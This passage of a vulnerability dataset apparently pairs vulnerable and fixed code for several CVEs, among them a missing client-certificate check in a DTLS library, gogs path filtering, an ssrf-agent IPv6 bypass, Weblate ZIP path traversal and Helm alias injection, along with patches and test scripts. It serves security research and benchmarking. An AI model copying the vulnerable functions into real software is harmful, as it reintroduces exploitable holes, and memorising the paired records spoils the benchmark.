err\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, errInvalidCipherSuite\n\t\t\t}\n\t\t} else {\n\t\t\tpreMasterSecret, err = prf.PreMasterSecret(clientKeyExchange.PublicKey, state.localKeypair.PrivateKey, state.localKeypair.Curve)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.IllegalParameter}, err\n\t\t\t}\n\t\t}\n\n\t\tif state.extendedMasterSecret {\n\t\t\tvar sessionHash []byte\n\t\t\tsessionHash, err = cache.sessionHash(state.cipherSuite.HashFunc(), cfg.initialEpoch)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t\t}\n\n\t\t\tstate.masterSecret, err = prf.ExtendedMasterSecret(preMasterSecret, sessionHash, state.cipherSuite.HashFunc())\n\t\t\tif err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t\t}\n\t\t} else {\n\t\t\tstate.masterSecret, err = prf.MasterSecret(preMasterSecret, clientRandom[:], serverRandom[:], state.cipherSuite.HashFunc())\n\t\t\tif err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t\t}\n\t\t}\n\n\t\tif err := state.cipherSuite.Init(state.masterSecret, clientRandom[:], serverRandom[:], false); err != nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t}\n\t\tcfg.writeKeyLog(keyLogLabelTLS12, clientRandom[:], state.masterSecret)\n\t}\n\n\tif len(state.SessionID) > 0 {\n\t\ts := Session{\n\t\t\tID:     state.SessionID,\n\t\t\tSecret: state.masterSecret,\n\t\t}\n\t\tcfg.log.Tracef(\"[handshake] save new session: %x\", s.ID)\n\t\tif err := cfg.sessionStore.Set(state.SessionID, s); err != nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t}\n\t}\n\n\t// Now, encrypted packets can be handled\n\tif err := c.handleQueuedPackets(ctx); err != nil {\n\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t}\n\n\tseq, msgs, ok = cache.fullPullMap(seq, state.cipherSuite,\n\t\thandshakeCachePullRule{handshake.TypeFinished, cfg.initialEpoch + 1, true, false},\n\t)\n\tif !ok {\n\t\t// No valid message received. Keep reading\n\t\treturn 0, nil, nil\n\t}\n\tstate.handshakeRecvSequence = seq\n\n\tif _, ok = msgs[handshake.TypeFinished].(*handshake.MessageFinished); !ok {\n\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, nil\n\t}\n\n\tif state.cipherSuite.AuthenticationType() == CipherSuiteAuthenticationTypeAnonymous {\n\t\treturn flight6, nil, nil\n\t}\n\n\tswitch cfg.clientAuth {\n\tcase RequireAnyClientCert:\n\t\tif state.PeerCertificates == nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.NoCertificate}, errClientCertificateRequired\n\t\t}\n\tcase VerifyClientCertIfGiven:\n\t\tif state.PeerCertificates != nil && !state.peerCertificatesVerified {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, errClientCertificateNotVerified\n\t\t}\n\tcase RequireAndVerifyClientCert:\n\t\tif state.PeerCertificates == nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.NoCertificate}, errClientCertificateRequired\n\t\t}\n\t\tif !state.peerCertificatesVerified {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, errClientCertificateNotVerified\n\t\t}\n\tcase NoClientCert, RequestClientCert:\n\t\treturn flight6, nil, nil\n\t}\n\n\treturn flight6, nil, nil\n}"}], "fix_func": [{"id": "fix_go_87_1", "commit": "d2f7971", "file_path": "flight4handler.go", "start_line": "19", "end_line": "205", "snippet": "func flight4Parse(ctx context.Context, c flightConn, state *State, cache *handshakeCache, cfg *handshakeConfig) (flightVal, *alert.Alert, error) { //nolint:gocognit\n\tseq, msgs, ok := cache.fullPullMap(state.handshakeRecvSequence, state.cipherSuite,\n\t\thandshakeCachePullRule{handshake.TypeCertificate, cfg.initialEpoch, true, true},\n\t\thandshakeCachePullRule{handshake.TypeClientKeyExchange, cfg.initialEpoch, true, false},\n\t\thandshakeCachePullRule{handshake.TypeCertificateVerify, cfg.initialEpoch, true, true},\n\t)\n\tif !ok {\n\t\t// No valid message received. Keep reading\n\t\treturn 0, nil, nil\n\t}\n\n\t// Validate type\n\tvar clientKeyExchange *handshake.MessageClientKeyExchange\n\tif clientKeyExchange, ok = msgs[handshake.TypeClientKeyExchange].(*handshake.MessageClientKeyExchange); !ok {\n\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, nil\n\t}\n\n\tif h, hasCert := msgs[handshake.TypeCertificate].(*handshake.MessageCertificate); hasCert {\n\t\tstate.PeerCertificates = h.Certificate\n\t\t// If the client offer its certificate, just disable session resumption.\n\t\t// Otherwise, we have to store the certificate identitfication and expire time.\n\t\t// And we have to check whether this certificate expired, revoked or changed.\n\t\t//\n\t\t// https://curl.se/docs/CVE-2016-5419.html\n\t\tstate.SessionID = nil\n\t}\n\n\tif h, hasCertVerify := msgs[handshake.TypeCertificateVerify].(*handshake.MessageCertificateVerify); hasCertVerify {\n\t\tif state.PeerCertificates == nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.NoCertificate}, errCertificateVerifyNoCertificate\n\t\t}\n\n\t\tplainText := cache.pullAndMerge(\n\t\t\thandshakeCachePullRule{handshake.TypeClientHello, cfg.initialEpoch, true, false},\n\t\t\thandshakeCachePullRule{handshake.TypeServerHello, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeCertificate, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeServerKeyExchange, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeCertificateRequest, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeServerHelloDone, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeCertificate, cfg.initialEpoch, true, false},\n\t\t\thandshakeCachePullRule{handshake.TypeClientKeyExchange, cfg.initialEpoch, true, false},\n\t\t)\n\n\t\t// Verify that the pair of hash algorithm and signiture is listed.\n\t\tvar validSignatureScheme bool\n\t\tfor _, ss := range cfg.localSignatureSchemes {\n\t\t\tif ss.Hash == h.HashAlgorithm && ss.Signature == h.SignatureAlgorithm {\n\t\t\t\tvalidSignatureScheme = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !validSignatureScheme {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InsufficientSecurity}, errNoAvailableSignatureSchemes\n\t\t}\n\n\t\tif err := verifyCertificateVerify(plainText, h.HashAlgorithm, h.Signature, state.PeerCertificates); err != nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, err\n\t\t}\n\t\tvar chains [][]*x509.Certificate\n\t\tvar err error\n\t\tvar verified bool\n\t\tif cfg.clientAuth >= VerifyClientCertIfGiven {\n\t\t\tif chains, err = verifyClientCert(state.PeerCertificates, cfg.clientCAs); err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, err\n\t\t\t}\n\t\t\tverified = true\n\t\t}\n\t\tif cfg.verifyPeerCertificate != nil {\n\t\t\tif err := cfg.verifyPeerCertificate(state.PeerCertificates, chains); err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, err\n\t\t\t}\n\t\t}\n\t\tstate.peerCertificatesVerified = verified\n\t} else if state.PeerCertificates != nil {\n\t\t// A certificate was received, but we haven't seen a CertificateVerify\n\t\t// keep reading until we receieve one\n\t\treturn 0, nil, nil\n\t}\n\n\tif !state.cipherSuite.IsInitialized() {\n\t\tserverRandom := state.localRandom.MarshalFixed()\n\t\tclientRandom := state.remoteRandom.MarshalFixed()\n\n\t\tvar err error\n\t\tvar preMasterSecret []byte\n\t\tif state.cipherSuite.AuthenticationType() == CipherSuiteAuthenticationTypePreSharedKey {\n\t\t\tvar psk []byte\n\t\t\tif psk, err = cfg.localPSKCallback(clientKeyExchange.IdentityHint); err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t\t}\n\t\t\tstate.IdentityHint = clientKeyExchange.IdentityHint\n\t\t\tswitch state.cipherSuite.KeyExchangeAlgorithm() {\n\t\t\tcase CipherSuiteKeyExchangeAlgorithmPsk:\n\t\t\t\tpreMasterSecret = prf.PSKPreMasterSecret(psk)\n\t\t\tcase (CipherSuiteKeyExchangeAlgorithmPsk | CipherSuiteKeyExchangeAlgorithmEcdhe):\n\t\t\t\tif preMasterSecret, err = prf.EcdhePSKPreMasterSecret(psk, clientKeyExchange.PublicKey, state.localKeypair.PrivateKey, state.localKeypair.Curve); err != nil {\n\t\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, errInvalidCipherSuite\n\t\t\t}\n\t\t} else {\n\t\t\tpreMasterSecret, err = prf.PreMasterSecret(clientKeyExchange.PublicKey, state.localKeypair.PrivateKey, state.localKeypair.Curve)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.IllegalParameter}, err\n\t\t\t}\n\t\t}\n\n\t\tif state.extendedMasterSecret {\n\t\t\tvar sessionHash []byte\n\t\t\tsessionHash, err = cache.sessionHash(state.cipherSuite.HashFunc(), cfg.initialEpoch)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t\t}\n\n\t\t\tstate.masterSecret, err = prf.ExtendedMasterSecret(preMasterSecret, sessionHash, state.cipherSuite.HashFunc())\n\t\t\tif err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t\t}\n\t\t} else {\n\t\t\tstate.masterSecret, err = prf.MasterSecret(preMasterSecret, clientRandom[:], serverRandom[:], state.cipherSuite.HashFunc())\n\t\t\tif err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t\t}\n\t\t}\n\n\t\tif err := state.cipherSuite.Init(state.masterSecret, clientRandom[:], serverRandom[:], false); err != nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t}\n\t\tcfg.writeKeyLog(keyLogLabelTLS12, clientRandom[:], state.masterSecret)\n\t}\n\n\tif len(state.SessionID) > 0 {\n\t\ts := Session{\n\t\t\tID:     state.SessionID,\n\t\t\tSecret: state.masterSecret,\n\t\t}\n\t\tcfg.log.Tracef(\"[handshake] save new session: %x\", s.ID)\n\t\tif err := cfg.sessionStore.Set(state.SessionID, s); err != nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t}\n\t}\n\n\t// Now, encrypted packets can be handled\n\tif err := c.handleQueuedPackets(ctx); err != nil {\n\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t}\n\n\tseq, msgs, ok = cache.fullPullMap(seq, state.cipherSuite,\n\t\thandshakeCachePullRule{handshake.TypeFinished, cfg.initialEpoch + 1, true, false},\n\t)\n\tif !ok {\n\t\t// No valid message received. Keep reading\n\t\treturn 0, nil, nil\n\t}\n\tstate.handshakeRecvSequence = seq\n\n\tif _, ok = msgs[handshake.TypeFinished].(*handshake.MessageFinished); !ok {\n\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, nil\n\t}\n\n\tif state.cipherSuite.AuthenticationType() == CipherSuiteAuthenticationTypeAnonymous {\n\t\treturn flight6, nil, nil\n\t}\n\n\tswitch cfg.clientAuth {\n\tcase RequireAnyClientCert:\n\t\tif state.PeerCertificates == nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.NoCertificate}, errClientCertificateRequired\n\t\t}\n\tcase VerifyClientCertIfGiven:\n\t\tif state.PeerCertificates != nil && !state.peerCertificatesVerified {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, errClientCertificateNotVerified\n\t\t}\n\tcase RequireAndVerifyClientCert:\n\t\tif state.PeerCertificates == nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.NoCertificate}, errClientCertificateRequired\n\t\t}\n\t\tif !state.peerCertificatesVerified {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, errClientCertificateNotVerified\n\t\t}\n\tcase NoClientCert, RequestClientCert:\n\t\treturn flight6, nil, nil\n\t}\n\n\treturn flight6, nil, nil\n}"}], "vul_patch": "--- a/flight4handler.go\n+++ b/flight4handler.go\n@@ -71,6 +71,10 @@\n \t\t\t}\n \t\t}\n \t\tstate.peerCertificatesVerified = verified\n+\t} else if state.PeerCertificates != nil {\n+\t\t// A certificate was received, but we haven't seen a CertificateVerify\n+\t\t// keep reading until we receieve one\n+\t\treturn 0, nil, nil\n \t}\n \n \tif !state.cipherSuite.IsInitialized() {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1986", "cve_description": "OS Command Injection in GitHub repository gogs/gogs prior to 0.12.9.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/gogs/gogs", "patch_url": ["https://github.com/gogs/gogs/commit/38aff73251cc46ced96dd608dab6190415032a82"], "programing_language": "Go", "vul_func": [{"id": "vul_go_6_1", "commit": "6982749", "file_path": "internal/db/repo_editor.go", "start_line": 468, "end_line": 474, "snippet": "func isRepositoryGitPath(path string) bool {\n\treturn strings.HasSuffix(path, \".git\") ||\n\t\tstrings.Contains(path, \".git\"+string(os.PathSeparator)) ||\n\t\t// Windows treats \".git.\" the same as \".git\"\n\t\tstrings.HasSuffix(path, \".git.\") ||\n\t\tstrings.Contains(path, \".git.\"+string(os.PathSeparator))\n}"}], "fix_func": [{"id": "fix_go_6_1", "commit": "38aff73", "file_path": "internal/db/repo_editor.go", "start_line": 468, "end_line": 476, "snippet": "func isRepositoryGitPath(path string) bool {\n\treturn strings.HasSuffix(path, \".git\") ||\n\t\tstrings.Contains(path, \".git/\") ||\n\t\tstrings.Contains(path, `.git\\`) ||\n\t\t// Windows treats \".git.\" the same as \".git\"\n\t\tstrings.HasSuffix(path, \".git.\") ||\n\t\tstrings.Contains(path, \".git./\") ||\n\t\tstrings.Contains(path, `.git.\\`)\n}"}], "vul_patch": "--- a/internal/db/repo_editor.go\n+++ b/internal/db/repo_editor.go\n@@ -1,7 +1,9 @@\n func isRepositoryGitPath(path string) bool {\n \treturn strings.HasSuffix(path, \".git\") ||\n-\t\tstrings.Contains(path, \".git\"+string(os.PathSeparator)) ||\n+\t\tstrings.Contains(path, \".git/\") ||\n+\t\tstrings.Contains(path, `.git\\`) ||\n \t\t// Windows treats \".git.\" the same as \".git\"\n \t\tstrings.HasSuffix(path, \".git.\") ||\n-\t\tstrings.Contains(path, \".git.\"+string(os.PathSeparator))\n+\t\tstrings.Contains(path, \".git./\") ||\n+\t\tstrings.Contains(path, `.git.\\`)\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-1986:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/gogs\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^Test_isRepositoryGitPath$ gogs.io/gogs/internal/db\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-1986:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/gogs\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(Test_isRepositoryGitPath)$' gogs.io/gogs/internal/db\n"}
{"cve_id": "CVE-2021-23718", "cve_description": "The package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/welefen/ssrf-agent", "patch_url": ["https://github.com/welefen/ssrf-agent/commit/9607175acd0647d821bae4e8fcc3b712aca3fd2d#diff-e727e4bdf3657fd1d798edcd6b099d6e092f8573cba266154583a746bba0f346"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_257_1", "commit": "cec2b85", "file_path": "index.js", "start_line": "3", "end_line": "3", "snippet": "const { isPrivate, isV4Format } = require('ip');"}, {"id": "vul_js_257_2", "commit": "cec2b85", "file_path": "index.js", "start_line": "13", "end_line": "16", "snippet": "const defaultIpChecker = ip => {\n  if (isV4Format(ip)) {\n    return !isPrivate(ip);\n  }"}], "fix_func": [{"id": "fix_js_257_1", "commit": "9607175", "file_path": "index.js", "start_line": "3", "end_line": "3", "snippet": "const { isPrivate, isV4Format, isV6Format } = require('ip');"}, {"id": "fix_js_257_2", "commit": "9607175", "file_path": "index.js", "start_line": "13", "end_line": "16", "snippet": "const defaultIpChecker = ip => {\n  if (isV4Format(ip) || isV6Format(ip)) {\n    return !isPrivate(ip);\n  }"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1 +1 @@\n-const { isPrivate, isV4Format } = require('ip');\n+const { isPrivate, isV4Format, isV6Format } = require('ip');\n\n--- a/index.js\n+++ b/index.js\n@@ -1,4 +1,4 @@\n const defaultIpChecker = ip => {\n-  if (isV4Format(ip)) {\n+  if (isV4Format(ip) || isV6Format(ip)) {\n     return !isPrivate(ip);\n   }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-39303", "cve_description": "Weblate is a web based localization tool. Prior to version 5.6.2, Weblate didn't correctly validate filenames when restoring project backup. It may be possible to gain unauthorized access to files on the server using a crafted ZIP file. This issue has been addressed in Weblate 5.6.2. As a workaround, do not allow untrusted users to create projects.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/WeblateOrg/weblate", "patch_url": ["https://github.com/WeblateOrg/weblate/commit/b6a7eace155fa0feaf01b4ac36165a9c5e63bfdd"], "programing_language": "Python", "vul_func": [{"id": "vul_py_348_1", "commit": "0137a35d95c2731b554737bbb1476b90d8118095", "file_path": "weblate/trans/backups.py", "start_line": 564, "end_line": 625, "snippet": "    def restore(self, project_name: str, project_slug: str, user, billing=None):\n        if not isinstance(self.filename, str):\n            raise TypeError(\"Need a filename string.\")\n        with ZipFile(self.filename, \"r\") as zipfile:\n            self.load_data(zipfile)\n\n            # Create project\n            kwargs = self.data[\"project\"].copy()\n            kwargs[\"name\"] = project_name\n            kwargs[\"slug\"] = project_slug\n            self.project = project = Project.objects.create(**kwargs)\n\n            # Handle billing and ACL (creating user needs access)\n            self.project.post_create(user, billing)\n\n            # Create labels\n            labels = Label.objects.bulk_create(\n                Label(project=project, **entry) for entry in self.data[\"labels\"]\n            )\n            self.labels_map = {label.name: label for label in labels}\n\n            # Import translation memory\n            memory = self.load_memory(zipfile)\n            Memory.objects.bulk_create(\n                [\n                    Memory(\n                        project=project,\n                        origin=entry[\"origin\"],\n                        source=entry[\"source\"],\n                        target=entry[\"target\"],\n                        source_language=self.import_language(entry[\"source_language\"]),\n                        target_language=self.import_language(entry[\"target_language\"]),\n                    )\n                    for entry in memory\n                ]\n            )\n\n            # Extract VCS\n            for name in zipfile.namelist():\n                if name.startswith(self.VCS_PREFIX):\n                    targetpath = os.path.join(\n                        project.full_path, name[self.VCS_PREFIX_LEN :]\n                    )\n                    upperdirs = os.path.dirname(targetpath)\n                    if upperdirs and not os.path.exists(upperdirs):\n                        os.makedirs(upperdirs)\n                    with zipfile.open(name) as source, open(targetpath, \"wb\") as target:\n                        copyfileobj(source, target)\n\n            # Create components\n            self.load_components(zipfile, self.restore_component)\n\n        # Fixup linked components\n        old_slug = f\"/{self.data['project']['slug']}/\"\n        new_slug = f\"/{project.slug}/\"\n        for component in self.project.component_set.filter(\n            repo__istartswith=\"weblate:\"\n        ):\n            component.repo = component.repo.replace(old_slug, new_slug)\n            component.save()\n\n        return self.project"}], "fix_func": [{"id": "fix_py_348_1", "commit": "b6a7eace155fa0feaf01b4ac36165a9c5e63bfdd", "file_path": "weblate/trans/backups.py", "start_line": 564, "end_line": 627, "snippet": "    def restore(self, project_name: str, project_slug: str, user, billing=None):\n        if not isinstance(self.filename, str):\n            raise TypeError(\"Need a filename string.\")\n        with ZipFile(self.filename, \"r\") as zipfile:\n            self.load_data(zipfile)\n\n            # Create project\n            kwargs = self.data[\"project\"].copy()\n            kwargs[\"name\"] = project_name\n            kwargs[\"slug\"] = project_slug\n            self.project = project = Project.objects.create(**kwargs)\n\n            # Handle billing and ACL (creating user needs access)\n            self.project.post_create(user, billing)\n\n            # Create labels\n            labels = Label.objects.bulk_create(\n                Label(project=project, **entry) for entry in self.data[\"labels\"]\n            )\n            self.labels_map = {label.name: label for label in labels}\n\n            # Import translation memory\n            memory = self.load_memory(zipfile)\n            Memory.objects.bulk_create(\n                [\n                    Memory(\n                        project=project,\n                        origin=entry[\"origin\"],\n                        source=entry[\"source\"],\n                        target=entry[\"target\"],\n                        source_language=self.import_language(entry[\"source_language\"]),\n                        target_language=self.import_language(entry[\"target_language\"]),\n                    )\n                    for entry in memory\n                ]\n            )\n\n            # Extract VCS\n            for name in zipfile.namelist():\n                if name.startswith(self.VCS_PREFIX):\n                    path = name[self.VCS_PREFIX_LEN :]\n                    # Skip potentially dangerous paths\n                    if path != os.path.normpath(path):\n                        continue\n                    targetpath = os.path.join(project.full_path, path)\n                    upperdirs = os.path.dirname(targetpath)\n                    if upperdirs and not os.path.exists(upperdirs):\n                        os.makedirs(upperdirs)\n                    with zipfile.open(name) as source, open(targetpath, \"wb\") as target:\n                        copyfileobj(source, target)\n\n            # Create components\n            self.load_components(zipfile, self.restore_component)\n\n        # Fixup linked components\n        old_slug = f\"/{self.data['project']['slug']}/\"\n        new_slug = f\"/{project.slug}/\"\n        for component in self.project.component_set.filter(\n            repo__istartswith=\"weblate:\"\n        ):\n            component.repo = component.repo.replace(old_slug, new_slug)\n            component.save()\n\n        return self.project"}], "vul_patch": "--- a/weblate/trans/backups.py\n+++ b/weblate/trans/backups.py\n@@ -38,9 +38,11 @@\n             # Extract VCS\n             for name in zipfile.namelist():\n                 if name.startswith(self.VCS_PREFIX):\n-                    targetpath = os.path.join(\n-                        project.full_path, name[self.VCS_PREFIX_LEN :]\n-                    )\n+                    path = name[self.VCS_PREFIX_LEN :]\n+                    # Skip potentially dangerous paths\n+                    if path != os.path.normpath(path):\n+                        continue\n+                    targetpath = os.path.join(project.full_path, path)\n                     upperdirs = os.path.dirname(targetpath)\n                     if upperdirs and not os.path.exists(upperdirs):\n                         os.makedirs(upperdirs)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-15184", "cve_description": "In Helm before versions 2.16.11 and 3.3.2 there is a bug in which the `alias` field on a `Chart.yaml` is not properly sanitized. This could lead to the injection of unwanted information into a chart. This issue has been patched in Helm 3.3.2 and 2.16.11. A possible workaround is to manually review the `dependencies` field of any untrusted chart, verifying that the `alias` field is either not used, or (if used) does not contain newlines or path characters.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/helm/helm", "patch_url": ["https://github.com/helm/helm/commit/e7c281564d8306e1dcf8023d97f972449ad74850"], "programing_language": "Go", "vul_func": [{"id": "vul_go_131_1", "commit": "860b1a9", "file_path": "pkg/chart/metadata.go", "start_line": 68, "end_line": 86, "snippet": "func (md *Metadata) Validate() error {\n\tif md == nil {\n\t\treturn ValidationError(\"chart.metadata is required\")\n\t}\n\tif md.APIVersion == \"\" {\n\t\treturn ValidationError(\"chart.metadata.apiVersion is required\")\n\t}\n\tif md.Name == \"\" {\n\t\treturn ValidationError(\"chart.metadata.name is required\")\n\t}\n\tif md.Version == \"\" {\n\t\treturn ValidationError(\"chart.metadata.version is required\")\n\t}\n\tif !isValidChartType(md.Type) {\n\t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n\t}\n\t// TODO validate valid semver here?\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_131_1", "commit": "e7c2815", "file_path": "pkg/chart/metadata.go", "start_line": 68, "end_line": 95, "snippet": "func (md *Metadata) Validate() error {\n\tif md == nil {\n\t\treturn ValidationError(\"chart.metadata is required\")\n\t}\n\tif md.APIVersion == \"\" {\n\t\treturn ValidationError(\"chart.metadata.apiVersion is required\")\n\t}\n\tif md.Name == \"\" {\n\t\treturn ValidationError(\"chart.metadata.name is required\")\n\t}\n\tif md.Version == \"\" {\n\t\treturn ValidationError(\"chart.metadata.version is required\")\n\t}\n\tif !isValidChartType(md.Type) {\n\t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n\t}\n\n\t// Aliases need to be validated here to make sure that the alias name does\n\t// not contain any illegal characters.\n\tfor _, dependency := range md.Dependencies {\n\t\tif err := validateDependency(dependency); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// TODO validate valid semver here?\n\treturn nil\n}"}, {"id": "fix_go_131_2", "commit": "e7c2815", "file_path": "pkg/chart/chart.go", "start_line": 31, "end_line": 31, "snippet": "var aliasNameFormat = regexp.MustCompile(\"^[a-zA-Z0-9_-]+$\")"}, {"id": "fix_go_131_3", "commit": "e7c2815", "file_path": "pkg/chart/errors.go", "start_line": 28, "end_line": 30, "snippet": "func ValidationErrorf(msg string, args ...interface{}) ValidationError {\n\treturn ValidationError(fmt.Sprintf(msg, args...))\n}"}, {"id": "fix_go_131_4", "commit": "e7c2815", "file_path": "pkg/chart/metadata.go", "start_line": 108, "end_line": 113, "snippet": "func validateDependency(dep *Dependency) error {\n\tif len(dep.Alias) > 0 && !aliasNameFormat.MatchString(dep.Alias) {\n\t\treturn ValidationErrorf(\"dependency %q has disallowed characters in the alias\", dep.Name)\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/chart/metadata.go\n+++ b/pkg/chart/metadata.go\n@@ -14,6 +14,15 @@\n \tif !isValidChartType(md.Type) {\n \t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n \t}\n+\n+\t// Aliases need to be validated here to make sure that the alias name does\n+\t// not contain any illegal characters.\n+\tfor _, dependency := range md.Dependencies {\n+\t\tif err := validateDependency(dependency); err != nil {\n+\t\t\treturn err\n+\t\t}\n+\t}\n+\n \t// TODO validate valid semver here?\n \treturn nil\n }\n\n--- /dev/null\n+++ b/pkg/chart/metadata.go\n@@ -0,0 +1 @@\n+var aliasNameFormat = regexp.MustCompile(\"^[a-zA-Z0-9_-]+$\")\n\n--- /dev/null\n+++ b/pkg/chart/metadata.go\n@@ -0,0 +1,3 @@\n+func ValidationErrorf(msg string, args ...interface{}) ValidationError {\n+\treturn ValidationError(fmt.Sprintf(msg, args...))\n+}\n\n--- /dev/null\n+++ b/pkg/chart/metadata.go\n@@ -0,0 +1,6 @@\n+func validateDependency(dep *Dependency) error {\n+\tif len(dep.Alias) > 0 && !aliasNameFormat.MatchString(dep.Alias) {\n+\t\treturn ValidationErrorf(\"dependency %q has disallowed characters in the alias\", dep.Name)\n+\t}\n+\treturn nil\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
